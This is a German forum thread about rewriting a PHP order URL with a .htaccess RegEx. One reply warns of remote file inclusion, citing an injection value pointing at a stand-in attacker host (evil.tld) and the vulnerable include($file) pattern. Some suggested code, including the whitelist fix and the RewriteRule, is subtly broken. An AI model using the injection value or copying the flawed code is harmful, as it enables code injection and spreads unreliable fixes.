karin: .htaccess RegEx

hi leute
Ich probiere jetzt schon eine ganze Zeit lang aber ich glaube ich steh voll auf der Leitung kann mir jemand weiter helfen wie ich die url bestellung.php?param1=xy&param2=xy
in der htaccess. in content.php?file=bestellung.php&param1=xy&param2=xy umwandle.. irgendwie hab ich das gefühl das meine ausdruck nicht stimmt ;o) RegEx sind nicht wirklich meins..

mit dem hab íchs probiert..

RewriteRule ^(.*.bestellung.php)?([a-z]=[a-z])&([a-z]=[a-z])$ content.php?file=$1&$2&$3

bin für jede Hilfe dankbar
Karin

  1. hi leute
    Ich probiere jetzt schon eine ganze Zeit lang aber ich glaube ich steh voll auf der Leitung kann mir jemand weiter helfen wie ich die url bestellung.php?param1=xy&param2=xy
    in der htaccess. in content.php?file=bestellung.php&param1=xy&param2=xy umwandle.. irgendwie hab ich das gefühl das meine ausdruck nicht stimmt ;o) RegEx sind nicht wirklich meins..

    mit dem hab íchs probiert..

    RewriteRule ^(.*.bestellung.php)?([a-z]=[a-z])&([a-z]=[a-z])$ content.php?file=$1&$2&$3

    Meine Idee wäre

    RewriteRule ^(.*)bestellung.php?([a-z])+=([a-z])+&([a-z])+=([a-z])+$ content.php?file=$1bestellung.php&$2=$3&$4=$5

    Als Tips zu Deiner RegExp:

    1. "(.*.bestellung.php)" klappt AFAIK nicht, Du mußt Konstante und RegExp trennen.
    2. "?" ist ein RegExp-Platzhalter und muß escape-t werden.
    3. "[a-z]" matcht nur 1 Buchstaben, Du brauchst "[a-z]+".

    1. Meine Idee wäre

      RewriteRule ^(.*)bestellung.php?([a-z])+=([a-z])+&([a-z])+=([a-z])+$ content.php?file=$1bestellung.php&$2=$3&$4=$5

      hi Mulder

      • außerhalb der Klammer hab ich nach innen versetzen müssen..

      .. danke des scheint zu funktionieren bis auf das "?".. Wenn ich es in der RegEx rausnehm und auch aus der anfragende url dann funktionierts mit gehts nicht .. regex nimmt es gar nicht an..
      im Prinzip ist es mir ja egal, wenn es ohne "?" auch funktioniert aber es schaut doch ein wenig doof aus wenn es fehlt :o)
      Hast du vielleicht eine Ahnung an was das liegen kann ?

      lg karin

  2. Moin!

    Ich probiere jetzt schon eine ganze Zeit lang aber ich glaube ich steh voll auf der Leitung kann mir jemand weiter helfen wie ich die url bestellung.php?param1=xy&param2=xy
    in der htaccess. in content.php?file=bestellung.php&param1=xy&param2=xy umwandle.. irgendwie hab ich das gefühl das meine ausdruck nicht stimmt ;o) RegEx sind nicht wirklich meins..

    Ein ganz anderes Problem offenbar sich IMO bei deinen Versuchen: Du willst eine einzubindende URL angeben. Ich hoffe nur, die fopen-URL-Wrappers sind ausgeschaltet! Wenn du keine Ahnung hast, was das sein könnte, dann sind sie mit Sicherheit eingeschaltet, und du hast dir möglicherweise eine wunderschöne Sicherheitslücke eingebaut.

    Kann man statt "file=bestellung.php" programmtechnisch auch "file=warenkorb.php" oder "file=http://evil.tld/angriffsskript.html" angeben? Dein Parameter deutet ganz deutlich darauf hin, dass irgendwo in der content.php sowas steht:
    <?php include($file); ?>

    Und da PHP auch im include() erlaubt, dass man HTTP-URLs angibt, kann man dir so beliebigen PHP-Code unterschieben.

    Besser: Du definierst in einem Array einen Satz von gültigen Dateien, die per Include eingebaut werden dürfen:
    $allow_include[1] = "bestellung.php";
    $allow_include[2] = "warenkorb.php";
    ...

    Und als Parameter übergibst du dann nur noch den Index des Arrays:
    content.php?file=1&param1=....

    <?php include ($allow_include($file)); ?>

    Ok, und weil diese Art von Variablenübergabe ganz böse ist, solltest du "register_globals" lieber auf "off" setzen (lassen), und gleich ordentliche Zugriffsmethoden auf übergebene Parameter einsetzen:

    <?php include ($allow_include($_GET['file'])); ?>

    - Sven Rautenberg

    1. Hi Sven

      Hast Absolut recht .. aber du würdest keine Erfolg haben bei meiner Seite haben.. variablenwerte mit (www|http) angaben werden gelöscht und umgeleitet.. ich weiß das ist keine lösung für die globals aber zur not tut's es auch.. wollte das mit get() schon öfters probieren .. werds mich jetzt mal überwinden..

      lg Karin